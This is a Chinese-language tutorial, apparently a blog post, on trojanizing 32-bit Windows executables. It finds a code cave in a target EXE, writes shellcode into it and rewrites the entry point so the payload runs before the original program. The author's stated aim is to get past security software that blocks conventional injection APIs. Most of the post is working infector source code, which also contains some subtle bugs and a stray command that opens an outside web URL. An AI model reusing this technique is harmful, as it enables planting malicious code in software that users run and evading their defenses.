劫持 PE 文件:搜索空间缝隙并插入ShellCode
因近期项目需要弄一款注入型的程序,但多次尝试后发现传统的API都会被安全软件拦截,比如 CreateRemoteThread、SetWindowHookEx、APC、GetThreadContext、SetThreadContext,甚至 NtCreateThreadEx 也是如此,也有试想过用驱动,但是奈何没有数字签名 :(
经过无数次失败后,在查阅资料时无意中发现了一篇文章启发了我,然后开始尝试。
将 ShellCode 放入变量中,然后修改插入可执行文件名称,运行后即可将shellCode插入到EXE中,并设置好装载地址,程序运行后会先上线,然后在执行原始的代码
1、首先计算出 ShellCode 的实际大小,然后将文件指针移动到目标程序文件末尾,从文件末尾开始循环查找,找到符合大小的空隙,并开始插入我们预先准备好的 ShellCode 代码。
PIMAGE_SECTION_HEADER pSec =
(PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
LPVOID lp = malloc(sizeof(shellcode));
memset(lp, 0, sizeof(shellcode));
while (dwAddr > pSec->Misc.VirtualSize)
{
int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
if (nRet == 0)
return dwAddr;
dwAddr--;
}
free(lp);
2、当插入完成后,将程序的OEP地址设置为ShellCode执行地址。
pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;
3、执行结束后,再跳回原区段继续执行源代码,从而实现插入恶意代码的目的。
该案例目前只适用于32位EXE,生成的ShellCode也必须为32位。
#include <stdio.h>
#include <stddef.h>
#include <windows.h>
// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";
// 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
// 跳过可选头长度的数据
PIMAGE_SECTION_HEADER pSec =
(PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
// 获取到文件末尾的位置
DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
LPVOID lp = malloc(sizeof(shellcode));
memset(lp, 0, sizeof(shellcode));
while (dwAddr > pSec->Misc.VirtualSize)
{
int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
if (nRet == 0)
return dwAddr;
dwAddr--;
}
free(lp);
return 0;
}
int main(int argc, char* argv[])
{
HANDLE hFile, hMap = NULL;
LPVOID lpBase = NULL;
// 设置你的程序
hFile = CreateFile("D:\\Wmplayer.exe", GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
PIMAGE_NT_HEADERS pNtHeader = NULL;
PIMAGE_SECTION_HEADER pSec = NULL;
IMAGE_SECTION_HEADER imgSec = { 0 };
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
printf("[-] 非 PE 文件 \n");
return -1;
}
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
// 查找空余字节
DWORD dwAddr = FindSpace(lpBase, pNtHeader);
printf("[*] 找到 %d 字节 | 起始地址: %X \n", sizeof(shellcode), dwAddr);
// 获取到原入口地址
DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;
// \xb8 => 填充的就是原始程序的OEP
*(DWORD *)&shellcode[5] = dwOep;
printf("[-] 原始入口地址: 0x%08X \n", dwOep);
// 将shellcode 拷贝到dwAddr内存空间里,拷贝长度strlen(shellcode) + 3
memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);
dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
printf("[-] 拷贝内存长度: 0x%08X \n", dwAddr);
// 将新的入口地址,赋值给原始程序的地址上
pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
printf("[+] 修正新入口地址: 0x%08X \n", pNtHeader->OptionalHeader.ImageBase + dwAddr);
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
system("start https://www.chwm.vip/?inject");
system("pause");
return 0;
}
该代码中FindSpace()函数用于从代码节的末尾开始搜索,寻找特定长度的空余位置,当找到合适的空间缝隙后便返回首地址。
dwOep变量内存储的是该程序原始的OEP入口位置,接着将入口地址赋值到*(DWORD *)&shellcode[5]也就是放入到shellcode机器码的第六个位置处,此处将变更为跳转到原始入口的指令集,接着调用memcpy函数将shellcode代码拷贝到新分配的dwAddr内存中,此处的strlen(shellcode) + 3代表的是ShellCode中剩余的 \xff\xe0\x00 部分,最后将当前EIP指针设置为ShellCode所在位置,通过 pNtHeader->OptionalHeader.AddressOfEntryPoint 赋值设置此变量。